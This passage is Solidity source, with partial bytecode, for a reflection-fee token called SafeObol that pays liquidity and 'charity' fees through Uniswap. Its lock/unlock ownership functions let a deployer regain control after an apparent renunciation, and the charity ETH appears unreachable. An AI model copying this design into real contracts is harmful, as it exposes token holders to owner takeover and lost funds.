on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner = (0x158F6763d4856dc7470b435884725fDf7f1f1f18); address private _previousOwner; address payable private _charity = (0x972B22f7dB02Ef898440CFA1D884FC69ca24E8C9); address private _burnAddress = address(0x0000000000000000000000000000000000000000); address private _lockedLiquidity; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } function lockedLiquidity() public view returns (address) { return _lockedLiquidity; } function charity() public view returns (address payable) { return _charity; } function burn() public view returns (address) { return _burnAddress; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyCharity() { require(_charity == _msgSender(), "Caller is not the charity address"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function setCharityAddress(address payable charityAddress) public virtual onlyOwner { require(_charity == address(0), "Charity address cannot be changed once set"); _charity = charityAddress; } function setLockedLiquidityAddress(address liquidityAddress) public virtual onlyOwner { require(_lockedLiquidity == address(0), "Locked liquidity address cannot be changed once set"); _lockedLiquidity = liquidityAddress; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract SafeObol is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isDevWallet; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "SafeObol"; string private _symbol = "SOB"; uint8 private _decimals = 9; uint256 public _taxFee = 8; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 2; uint256 private _charityPercentageOfLiquidity = 60; uint256 private _previousLiquidityFee = _liquidityFee; uint256 private _totalCharityCollected = 0; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**6 * 10**9; uint256 private numTokensSellToAddToLiquidity = 500000 * 10**6 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event CharityCollected(uint256 ethCollected); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () public { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[burn()] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function charityPercentageOfLiquidity() private view returns (uint256) { return _charityPercentageOfLiquidity; } function totalCharityCollected() private view returns (uint256) { return _totalCharityCollected; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function devWallet(address account) public view returns(bool) { return _isDevWallet[account]; } function setAsDevWallet(address account) external onlyOwner() { _isDevWallet[account] = true; } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function setDevWalletFee() private { //Any dev wallets are subjected to a higher fee (2x) if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _liquidityFee = _liquidityFee.mul(2); _taxFee = _taxFee.mul(2); } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(to != charity(), "The charity address cannot receive tokens"); require(from != charity(), "The charity address cannot send tokens"); require(amount > 0, "Transfer amount must be greater than zero"); if((from != owner() && to != owner())) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function collectCharity() private onlyCharity { _totalCharityCollected = _totalCharityCollected.add(address(this).balance); emit CharityCollected(address(this).balance); charity().transfer(address(this).balance); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract // this also ignores any ETH that was reserved for charity last time // this was called uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> SHARK swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); //Now reserve some of that eth for charity to collect uint256 balanceToCharity = (newBalance.mul(charityPercentageOfLiquidity())).div(10**2); uint256 tokensExtra = (otherHalf.mul(charityPercentageOfLiquidity())).div(10**2); //How much eth is left for liquidity? newBalance = newBalance.sub(balanceToCharity); //how many tokens are left for liquidity? otherHalf = otherHalf.sub(tokensExtra); //Leftover tokens will be swapped into liquidity the next time this is called // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable lockedLiquidity(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if(devWallet(sender)) setDevWalletFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); if(devWallet(sender)) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x60806040526004361061023f5760003560e01c806352390c021161012e578063a457c2d7116100ab578063c49b9a801161006f578063c49b9a8014610ce5578063dd46706414610d22578063dd62ed3e14610d5d578063e47dd83814610de2578063ea2f0b3714610e3357610246565b8063a457c2d714610b80578063a69df4b514610bf1578063a9059cbb14610c08578063b439824414610c79578063b6c5232414610cba57610246565b80637d1db4a5116100f25780637d1db4a5146109dc57806388f8202014610a075780638da5cb5b14610a6e578063934aa02314610aaf57806395d89b4114610af057610246565b806352390c021461087d5780635342acb4146108ce5780636bc87c3a1461093557806370a0823114610960578063715018a6146109c557610246565b80633685d419116101bc57806344df8e701161018057806344df8e70146107225780634549b0391461076357806348a8fe2e146107be57806349bd5a5e1461080f5780634a74bb021461085057610246565b80633685d419146105a957806339509351146105fa5780633b124fe71461066b5780633bd5d17314610696578063437823ec146106d157610246565b80631694505e116102035780631694505e1461042f57806318160ddd1461047057806323b872dd1461049b5780632d8381191461052c578063313ce5671461057b57610246565b806306fdde031461024b578063095ea7b3146102db5780630c9be46d1461034c578063110787831461039d57806313114a9d1461040457610246565b3661024657005b600080fd5b34801561025757600080fd5b50610260610e84565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102a0578082015181840152602081019050610285565b50505050905090810190601f1680156102cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102e757600080fd5b50610334600480360360408110156102fe57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f26565b60405180821515815260200191505060405180910390f35b34801561035857600080fd5b5061039b6004803603602081101561036f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f44565b005b3480156103a957600080fd5b506103ec600480360360208110156103c057600080fd5b8101908080357